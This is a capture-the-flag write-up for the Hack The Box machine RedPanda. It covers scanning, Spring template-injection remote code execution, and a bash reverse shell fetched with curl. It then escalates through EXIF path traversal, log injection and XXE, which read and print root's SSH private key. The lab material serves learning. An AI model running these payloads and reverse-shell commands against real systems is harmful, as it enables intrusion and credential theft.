

# RedPanda

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For me IP of the machine is : 10.129.1.11

Lets try pinging it

```
ping 10.129.1.11 -c 5

PING 10.129.1.11 (10.129.1.11) 56(84) bytes of data.
64 bytes from 10.129.1.11: icmp_seq=1 ttl=63 time=130 ms
64 bytes from 10.129.1.11: icmp_seq=2 ttl=63 time=119 ms
64 bytes from 10.129.1.11: icmp_seq=3 ttl=63 time=97.0 ms
64 bytes from 10.129.1.11: icmp_seq=4 ttl=63 time=106 ms
64 bytes from 10.129.1.11: icmp_seq=5 ttl=63 time=156 ms

--- 10.129.1.11 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 96.956/121.438/155.881/20.513 ms
```

Alright, its online lets do some port scanning

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## Port Scanning

### All Port Scan

```
rustscan -a 10.129.1.11 --ulimit 5000
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main) (16.985s)
```

```
rustscan -a 10.129.1.11 --ulimit 5000
```

```
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: http://discord.skerritt.blog      :  
: https://github.com/RustScan/RustScan :
```

```
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I scanned ports so fast, even my computer was surprised.
```

```
[~] The config file is expected to be at "/home/pks/.rustscan.toml"  
[~] Automatically increasing ulimit value to 5000.  
Open 10.129.1.11:22  
Open 10.129.1.11:8080  
[~] Starting Script(s)  
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-23 19:30 IST  
Initiating Ping Scan at 19:30  
Scanning 10.129.1.11 [2 ports]  
Completed Ping Scan at 19:30, 0.55s elapsed (1 total hosts)  
Initiating Parallel DNS resolution of 1 host. at 19:30  
Completed Parallel DNS resolution of 1 host. at 19:30, 0.09s elapsed  
DNS resolution of 1 IPs took 0.09s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]  
Initiating Connect Scan at 19:30  
Scanning 10.129.1.11 [2 ports]  
Discovered open port 8080/tcp on 10.129.1.11  
Discovered open port 22/tcp on 10.129.1.11  
Completed Connect Scan at 19:30, 0.25s elapsed (2 total ports)  
Nmap scan report for 10.129.1.11  
Host is up, received conn-refused (0.47s latency).  
Scanned at 2024-10-23 19:30:23 IST for 0s
```

PORT	STATE	SERVICE	REASON
22/tcp	open	ssh	syn-ack
8080/tcp	open	http-proxy	syn-ack

```
Read data files from: /usr/bin/.../share/nmap
```

🔗 Open Ports

```
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
8080/tcp open http-proxy syn-ack
```

Lets take a deeper look on these

## Aggressive Scan

```
nmap -sC -sV -A -T5 -n -Pn -p 22,8080 10.129.1.11 -o aggressiveScan.txt
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±4 (18.61s)
nmap -sC -sV -A -T5 -n -Pn -p 22,8080 10.129.1.11 -o aggressiveScan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-23 20:33 IST
Nmap scan report for 10.129.1.11
Host is up (0.11s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|_ 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp  open  http     Apache Tomcat (language: en)
|_http-title: Red Panda Search | Made with Spring Boot
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.57 seconds
```

### 🔗 Aggressive Scan

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|_ 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|_ 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http Apache Tomcat (language: en)
|_http-title: Red Panda Search | Made with Spring Boot
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Now lets do some directory fuzzing

## Directory Fuzzing

```
feroxbuster -u http://10.129.1.11:8080 -w  
/usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -t  
200 -r --scan-dir-listings
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±5 (1m 15.64s)  
feroxbuster -u http://10.129.1.11:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -t  
200 -r --scan-dir-listings  
  
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██████████ by Ben "epi" Risher 🎉 ver: 2.11.0  
  
① Target Url http://10.129.1.11:8080  
② Threads 200  
③ Wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt  
④ Status Codes All Status Codes!  
⑤ Timeout (secs) 7  
⑥ User-Agent feroxbuster/2.11.0  
⑦ Config File /home/pks/.config/feroxbuster/ferox-config.toml  
⑧ Extract Links true  
⑨ Scan Dir Listings true  
⑩ HTTP methods [GET]  
⑪ Follow Redirects true  
⑫ Recursion Depth 4  
  
❖ Press [ENTER] to use the Scan Management Menu™  
  
404 GET 11 2w -c Auto-filtering found 404-like response and created new filter  
405 GET 11 3w 117c http://10.129.1.11:8080/search  
500 GET 11 1w 86c http://10.129.1.11:8080/error  
200 GET 275l 763w 7549c http://10.129.1.11:8080/css/panda.css  
200 GET 22l 41w 295c http://10.129.1.11:8080/css/main.css  
200 GET 55l 119w 1543c http://10.129.1.11:8080/  
200 GET 54l 102w 822c http://10.129.1.11:8080/css/stats.css  
200 GET 32l 97w 987c http://10.129.1.11:8080/stats  
[#####] - 74s 43016/43016 0s found:7 errors:0  
[#####] - 74s 43008/43008 579/s http://10.129.1.11:8080/
```

### 🔗 Directories

```
200 GET 275l 763w 7549c http://10.129.1.11:8080/css/panda.css ↗  
200 GET 22l 41w 295c http://10.129.1.11:8080/css/main.css ↗  
200 GET 55l 119w 1543c http://10.129.1.11:8080/ ↗
```

```
200 GET 54l 102w 822c http://10.129.1.11:8080/css/stats.css ↵
200 GET 32l 97w 987c http://10.129.1.11:8080/stats ↵
```

Now lets see this web application now

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## Web Application

We know this is spring boot as nmap pointed it out already



Uhh lets search for something here

⚠ Not Secure http://10.129.1.11:8080/search

160% ⭐

Search for a red panda

You searched for: Hello

There are 0 results for your search

So my first thought here was to grab this request with burp then test for special characters here

Request	Response
Pretty	Pretty
Raw	Raw
<pre>1 POST /search HTTP/1.1 2 Host: 10.129.1.11:8080 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,image/png,image/svg+xml,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 18 9 Origin: http://10.129.1.11:8080 10 Sec-GPC: 1 11 Connection: keep-alive 12 Referer: http://10.129.1.11:8080/search 13 Upgrade-Insecure-Requests: 1 14 Priority: u=0, i 15 16 name=Hello</pre>	<pre>1 HTTP/1.1 200 2 Content-Type: text/html; charset=UTF-8 3 Content-Language: en-US 4 Date: Wed, 23 Oct 2024 17:11:53 GMT 5 Keep-Alive: timeout=60 6 Connection: keep-alive 7 Content-Length: 728 8 9 &lt;!DOCTYPE html&gt; 10 &lt;html lang="en" dir="ltr"&gt; 11   &lt;head&gt; 12     &lt;meta charset="utf-8"&gt; 13     &lt;title&gt; 14       Red Panda Search   Made with Spring Boot 15     &lt;/title&gt; 16     &lt;link rel="stylesheet" href="css/search.css"&gt; 17   &lt;/head&gt; 18   &lt;body&gt; 19     &lt;form action="/search" method="POST"&gt; 20       &lt;div class="wrap"&gt; 21         &lt;div class="search"&gt; 22           &lt;input type="text" name="name" placeholder="Search for a red panda"&gt; 23           &lt;button type="submit" class="searchButton"&gt; 24             &lt;i class="fa fa-search"&gt; 25           &lt;/i&gt; 26         &lt;/button&gt; 27       &lt;/div&gt; 28     &lt;/div&gt; 29   &lt;/body&gt; 30 &lt;/html&gt;</pre>
Hex	Hex
Raw	Raw

So lets save this request

~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda.git:(main)±3 (0.049s)	cat search.req
	<pre>File: search.req</pre> <pre>1 POST /search HTTP/1.1 2 Host: 10.129.1.11:8080 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,image/png,image/svg+xml,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 18 9 Origin: http://10.129.1.11:8080 10 Sec-GPC: 1 11 Connection: keep-alive 12 Referer: http://10.129.1.11:8080/ 13 Upgrade-Insecure-Requests: 1 14 Priority: u=0, i 15 16 name=FUZZ</pre>

Lets run this ffuf now for special characters

```
ffuf -request search.req -request Proto http -w  
/usr/share/wordlists/seclists/Fuzzing/special-chars.txt -fs 724,727 -mc all
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main) (18.786s)  
ffuf -request search.req -request Proto http -w /usr/share/wordlists/seclists/Fuzzing/special-chars.txt -fs 724,727 -mc all  
:: Header : Host: 10.129.1.11:8080  
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0  
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/jxl,image/webp,image/png,  
:: Header : Accept-Language: en-US,en;q=0.5  
:: Header : Accept-Encoding: gzip, deflate, br  
:: Header : Origin: http://10.129.1.11:8080  
:: Header : Sec-GPC: 1  
:: Header : Referer: http://10.129.1.11:8080/  
:: Header : Priority: u=0, i  
:: Data : name=FUZZ  
:: Follow redirects : false  
:: Calibration : false  
:: Timeout : 10  
:: Threads : 40  
:: Matcher : Response status: all  
:: Filter : Response size: 724,727  
  
% [Status: 400, Size: 288, Words: 31, Lines: 1, Duration: 2341ms]  
~ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 2341ms]  
$ [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 3291ms]  
\ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 3291ms]  
) [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 2931ms]  
} [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 5557ms]  
+ [Status: 500, Size: 298, Words: 32, Lines: 1, Duration: 6625ms]  
" [Status: 200, Size: 729, Words: 156, Lines: 29, Duration: 7352ms]  
- [Status: 200, Size: 755, Words: 159, Lines: 29, Duration: 8751ms]  
:: Progress: [32/32] :: Job [1/1] :: 1 req/sec :: Duration: [0:00:18] :: Errors: 0 ::
```

The {} suggest there might be a SSTI lets find SSTI for Springboot Java

: <https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#spring-framework-java> ↗

# Spring Framework (Java)

```
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id')).
```

## Bypass filters

Multiple variable expressions can be used, if `${...}` doesn't work try `#${...}`, `*${...}`, `@${...}` or `~${...}`.

- Read `/etc/passwd`

```
 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java
```

- Custom Script for payload generation

```
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.ProcessBuilder).start(T(java.lang.ProcessBuilder).command("id"))).getInputStream())}'

count = 1
for i in converted:
    if count == 1:
        base_payload += f"(T(java.lang.Character).toString({i})).concat"
        count += 1
    elif count == len(converted):
        base_payload += f"(T(java.lang.Character).toString({i})))"
    else:
        base_payload += f"(T(java.lang.Character).toString({i})).concat"
```

Now try the first one here

The screenshot shows a web browser window with the following details:

- Address bar: Not Secure http://10.129.1.11:8080/search
- Search bar: Search for a red panda
- Main content area:
  - You searched for: uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
  - There are 0 results for your search

Now lets try to get a shell here  
So the traditional wouldnt work as they contain so many special  
characters the way u do this is by making a file like this

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±3 (0.062s)
cat shell.sh
```

File: shell.sh	
1	<code>#!/bin/bash</code>
2	<code>bash -i &gt;&amp; /dev/tcp/10.10.16.19/9001 0&gt;&amp;1</code>

Now we make a server and put this file in /dev/shm or whatever

## Request

Pretty Raw Hex

Q ⌂ ln ⌂

```
1 POST /search HTTP/1.1
2 Host: 10.129.1.11:8080
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101
   Firefox/131.0
4 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
   jpg,image/webp,image/png,image/svg+xml,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 172
9 Origin: http://10.129.1.11:8080
10 Sec-GPC: 1
11 Connection: keep-alive
12 Referer: http://10.129.1.11:8080/search
13 Upgrade-Insecure-Requests: 1
14 Priority: u=0, i
15
16 name=
  *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getR
  untime().exec("curl http://10.10.16.19:8000/shell.sh -o
  /dev/shm/shell.sh").getInputStream())}
```

MAKE SURE to URL encode this before sending

The same way make this executable and run it like this

## Request

Pretty Raw Hex

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```
1 POST /search HTTP/1.1
2 Host: 10.129.1.11:8080
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101
   Firefox/131.0
4 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
   jpg,image/webp,image/png,image/svg+xml,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 138
9 Origin: http://10.129.1.11:8080
10 Sec-GPC: 1
11 Connection: keep-alive
12 Referer: http://10.129.1.11:8080/search
13 Upgrade-Insecure-Requests: 1
14 Priority: u=0, i
15
16 name=
  *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getR
  untime().exec("/dev/shm/shell.sh").getInputStream())}
```

And we get our shell

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±6 (9m 22.08s)
nc -lvp 9001

Listening on 0.0.0.0 9001
Connection received on 10.129.1.11 33262
bash: cannot set terminal process group (873): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperefdata_woodenk$ id
id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
```

Lets upgrade it

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±6 (9m 22.08s)
nc -lvpn 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.1.11 33262
bash: cannot set terminal process group (873): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/tmp/hsperfdata_woodenk$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<nk$ python3 -c 'import pty; pty.spawn("/bin/bash")'
woodenk@redpanda:/tmp/hsperfdata_woodenk$ ^Z
[1] + 28222 suspended nc -lvpn 9001

~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±6
stty raw -echo;fg
```

u can also type `export TERM=xterm` if u want but its good for me like this

And here is your user.txt

```
woodenk@redpanda:~$ ls -al
total 36
drwxr-xr-x 5 woodenk woodenk 4096 Jun 23 2022 .
drwxr-xr-x 3 root      root    4096 Jun 14 2022 ..
lrwxrwxrwx 1 root      root     9 Jun 14 2022 .bash_history -> /dev/null
-rw-r--r-- 1 woodenk woodenk  220 Jun 14 2022 .bash_logout
-rw-r--r-- 1 woodenk woodenk 3938 Jun 14 2022 .bashrc
drwx----- 2 woodenk woodenk 4096 Jun 23 2022 .cache
drwxrwxr-x 3 woodenk woodenk 4096 Jun 14 2022 .local
drwxrwxr-x 4 woodenk woodenk 4096 Jun 14 2022 .m2
-rw-r--r-- 1 woodenk woodenk  807 Jun 14 2022 .profile
-rw-r----- 1 root      woodenk   33 Oct 23 13:56 user.txt
woodenk@redpanda:~$
```

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## Vertical PrivEsc

Now i found that we are in the groups logs as well lets see file are owned by logs

```
woodenk@redpanda:~$ find / -group logs 2>/dev/null | grep -v "proc" | grep -v "home"
/opt/panda_search/redpanda.log
/tmp/hspfdata_woodenk
/tmp/hspfdata_woodenk/886
/tmp/tomcat.8080.1932280264812087780
/tmp/tomcat.8080.1932280264812087780/work
/tmp/tomcat.8080.1932280264812087780/work/Tomcat
/tmp/tomcat.8080.1932280264812087780/work/Tomcat/localhost
/tmp/tomcat.8080.1932280264812087780/work/Tomcat/localhost/R00T
/tmp/tomcat-docbase.8080.259258760762844587
/dev/shm/shell.sh
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
woodenk@redpanda:~$
```

Lets see this file

```
woodenk@redpanda:~$ cat /opt/panda_search/redpanda.log
woodenk@redpanda:~$
```

Nothing in this but this is the file that will contain all the request if we sent to this web server

Lets see where is this used in the code to figure out a way to privesc

```
woodenk@redpanda:/opt$ grep -R redpanda.log .
Binary file ./panda_search/target/classes/com/panda_search/htb/panda_search/RequestInterceptor.class matches
./panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java:           FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
Binary file ./credit-score/LogParser/final/target/classes/com/logoparser/App.class matches
./credit-score/LogParser/final/src/main/java/com/logoparser/App.java:           File log_fd = new File("/opt/panda_search/redpanda.log");
woodenk@redpanda:/opt$
```

So these two files here u can go through em if u want but im gonna point out what i understand from them

```
@Override
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
    System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
    String userAgent = request.getHeader("User-Agent");
    String remoteAddr = request.getRemoteAddr();
    String requestUri = request.getRequestURI();
    Integer responseCode = response.getStatus();
    /*System.out.println("User agent: " + userAgent);
    System.out.println("IP: " + remoteAddr);
    System.out.println("Uri: " + requestUri);
    System.out.println("Response code: " + responseCode.toString());*/
    System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + userAgent + "||" + requestUri);
    FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
    BufferedWriter bw = new BufferedWriter(fw);
    bw.write(responseCode.toString() + "||" + remoteAddr + "||" + userAgent + "||" + requestUri + "\n");
    bw.close();
}
```

So its extracting User-Agent, remoteAddr, requestUri and response code from this file that get saved to this

Lets see the other file now to understand more

```
public static void main(String[] args) throws JDOMEException, IOException, JpegProcessingException {
    File log_fd = new File("/opt/panda_search/redpanda.log");
    Scanner log_reader = new Scanner(log_fd);
    while(log_reader.hasNextLine())
    {
        String line = log_reader.nextLine();
        if(!isImage(line))
        {
            continue;
        }
        Map parsed_data = parseLog(line);
        System.out.println(parsed_data.get("uri"));
        String artist = getArtist(parsed_data.get("uri").toString());
        System.out.println("Artist: " + artist);
        String xmlPath = "/credits/" + artist + "_creds.xml";
        addViewTo(xmlPath, parsed_data.get("uri").toString());
    }
}
```

So in this one it is getting the Artist from the metadata and saving it with ARTIST\_creds.xml file

So what im thinking we can probably have some XXE we can try here cuz its dealing with xml

Few things also about the above one is that is is checking if the request was a image or not with isImage() lets see this here

```
public static boolean isImage(String filename){
    if(filename.contains(".jpg"))
    {
        return true;
    }
    return false;
}
```

So its just checking if its is jpg or not

Now lets exploit this

First lets grab a image i found this one here



Lets download this and look at its metadata

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±6 (0.127s)
```

```
exiftool shy.jpg
```

ExifTool Version Number	:	12.99
File Name	:	shy.jpg
Directory	:	.
File Size	:	46 kB
File Modification Date/Time	:	2024:10:23 23:43:46+05:30
File Access Date/Time	:	2024:10:23 23:43:46+05:30
File Inode Change Date/Time	:	2024:10:23 23:43:46+05:30
File Permissions	:	-rw-r--r--
File Type	:	JPEG
File Type Extension	:	jpg
MIME Type	:	image/jpeg
JFIF Version	:	1.01
Exif Byte Order	:	Big-endian (Motorola, MM)
X Resolution	:	1
Y Resolution	:	1
Resolution Unit	:	None
Artist	:	damian
Y Cb Cr Positioning	:	Centered
Image Width	:	720
Image Height	:	720
Encoding Process	:	Baseline DCT, Huffman coding
Bits Per Sample	:	8
Color Components	:	3
Y Cb Cr Sub Sampling	:	YCbCr4:2:0 (2 2)
Image Size	:	720x720
Megapixels	:	0.518

And we have a artist here lets change it like this

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±4 (0.244s)
exiftool -Artist=../dev/shm/pks shy.jpg
1 image files updated
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±2 (0.094s)
exiftool shy.jpg
```

```
ExifTool Version Number      : 12.99
File Name                  : shy.jpg
Directory                  : .
File Size                   : 46 kB
File Modification Date/Time : 2024:10:23 23:47:49+05:30
File Access Date/Time       : 2024:10:23 23:47:49+05:30
File Inode Change Date/Time : 2024:10:23 23:47:49+05:30
File Permissions            : -rw-r--r--
File Type                  : JPEG
File Type Extension         : jpg
MIME Type                  : image/jpeg
JFIF Version               : 1.01
Exif Byte Order             : Big-endian (Motorola, MM)
X Resolution                : 1
Y Resolution                : 1
Resolution Unit             : None
Artist                      : ../dev/shm/pks
YCbCr Positioning          : Centered
Image Width                 : 720
Image Height                : 720
Encoding Process            : Baseline DCT, Huffman coding
Bits Per Sample              : 8
Color Components             : 3
YCbCr Sub Sampling          : YCbCr4:2:0 (2 2)
```

So its xml will i need to put at /dev/shm as pks\_creds.xml  
Lets change its name to pks.jpg and lets send this to the box

```
woodenk@redpanda:/dev/shm$ wget http://10.10.16.19/pks.jpg
--2024-10-23 18:20:50--  http://10.10.16.19/pks.jpg
Connecting to 10.10.16.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45724 (45K) [image/jpeg]
Saving to: 'pks.jpg'
```

```
pks.jpg                                         100%[=====] 2024-10-23 18:20:51 (143 KB/s) - 'pks.jpg' saved [45724/45724]
```

```
woodenk@redpanda:/dev/shm$ ls -al
total 52
drwxrwxrwt  3 root      root   100 Oct 23 18:20 .
drwxr-xr-x 18 root      root  3940 Oct 23 13:56 ..
drwx-----  4 root      root    80 Oct 23 13:56 multipath
-rw-rw-r--  1 woodenk  logs 45724 Oct 23 18:17 pks.jpg
-rwxrwxr-x  1 woodenk  logs   54 Oct 23 16:21 shell.sh
woodenk@redpanda:/dev/shm$
```

And we need a xml file as well so i just grabbed  
/credits/damian\_creds.xml and modified it a bit and saved it as  
pks\_creds.xml

```
<?xml version="1.0" encoding="UTF-8"?>
<credits>
    <author>damian</author>
    <image>
        <uri>/img/angy.jpg</uri>
        <views>0</views>
    </image>
    <image>
        <uri>/img/shy.jpg</uri>
        <views>1</views>
    </image>
    <image>
        <uri>/img/crafty.jpg</uri>
        <views>0</views>
    </image>
    <image>
        <uri>/img/peter.jpg</uri>
        <views>0</views>
    </image>
    <totalviews>1</totalviews>
</credits>
~
~
```

Lets add a xxe template here from hacktricks

- **XXE Detection with Parameter Entities:** For detecting XXE vulnerabilities, especially when conventional methods fail due to parser security measures, XML parameter entities can be utilized. These entities allow for out-of-band detection techniques, such as triggering DNS lookups or HTTP requests to a controlled domain, to confirm the vulnerability.
  - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
  - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`

This should work lets add it

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa" > ]>
<credits>
    <author>pks</author>
    <image>
        <uri>../../../../../../../../dev/shm/pks.jpg</uri>
        <views>0</views>
        <data>&xxe;</data>
    </image>
    <totalviews>1</totalviews>
</credits>
~
```

Now lets activate this like this

```
echo '304||10.10.16.19||Mozilla/5.0 (X11; Linux x86_64; rv:131.0)
Gecko/20100101 Firefox/131.0|||/../../../../dev/shm/pks.jpg' >
/opt/panda_search/redpanda.log
```

```
woodenk@redpanda:/dev/shm$ echo '304||10.10.16.19||Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0|||/../../../../dev/shm/pks.jpg' > /opt/panda_search/redpanda.log
```

And now i waited a minute for this to work and we get the root key in the file now

```
woodenk@redpanda:/dev/shm$ cat pks_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
    <author>pks</author>
    <image>
        <uri>../../../../../../../../dev/shm/pks.jpg</uri>
        <views>1</views>
        <data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmcUAAAAEb9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUx0QAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ00tGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUx0QAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ00tGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrR0ky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</data>
    </image>
    <totalviews>2</totalviews>
</credits>
woodenk@redpanda:/dev/shm$
```

Now lets save this on our system and change the permissions

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±3 (2.427s)
vim root.key
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±4 (0.025s)
chmod 600 root.key
```

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)±4 (0.041s)
cat root.key
```

	File: root.key
1	-----BEGIN OPENSSH PRIVATE KEY-----
2	b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAQAAEbm9uZQAAAAAAAABAAAAMwAAAAtzc2gtZW
3	QyNTUx0QAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ00tGk+eas+bFezfQAAAJRbb26UW29
4	ugAAAAAtzc2gtZWQyNTUx0QAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ00tGk+eas+bFezfQ
5	AAAEcj9KoL1KnAlvQDz93ztNrR0ky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
6	RwNRnQ60aT55qz5sV7N9AAADXJvb3RAcmVkcGFuZGE=
7	-----END OPENSSH PRIVATE KEY-----

Now lets ssh in as root

```
~/Documents/Notes/Hands-on-Hacking/HacktheBox/RedPanda git:(main)+4 (5.249s)
ssh -i root.key root@10.129.1.11
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.129.1.11' (ED25519) to the list of known hosts.
```

```
root@redpanda:~ (0.09s)
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

System information as of Wed 23 Oct 2024 06:37:08 PM UTC

System load:          0.0
Usage of /:            81.3% of 4.30GB
Memory usage:          64%
Swap usage:            0%
Processes:             216
Users logged in:       0
IPv4 address for eth0: 10.129.1.11
IPv6 address for eth0: dead:beef::250:56ff:feb9:f18f
```

```
0 updates can be applied immediately.
```

```
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
```

```
root@redpanda:~ (0.215s)
```

```
44
```

```
root@redpanda ~
```

```
|
```

And we are root here is your root.txt

```
root@redpanda ~ (0.306s)
ls -al
total 40
drwx----- 6 root root 4096 Oct 23 13:56 .
drwxr-xr-x 20 root root 4096 Jun 23 2022 ..
lrwxrwxrwx 1 root root    9 Jan 20 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3264 Jun 14 2022 .bashrc
drwx----- 2 root root 4096 Jun 14 2022 .cache
drwxr-xr-x 3 root root 4096 Jun 14 2022 .local
drwxr-xr-x 4 root root 4096 Jun 14 2022 .m2
-rw-r--r-- 1 root root 161 Dec  5 2019 .profile
-rw-r----- 1 root root   33 Oct 23 13:56 root.txt
-rwxr-xr-x 1 root root 165 Jun 20 2022 run_credits.sh
drwx----- 2 root root 4096 Jun 14 2022 .ssh
```

Thanks for reading :)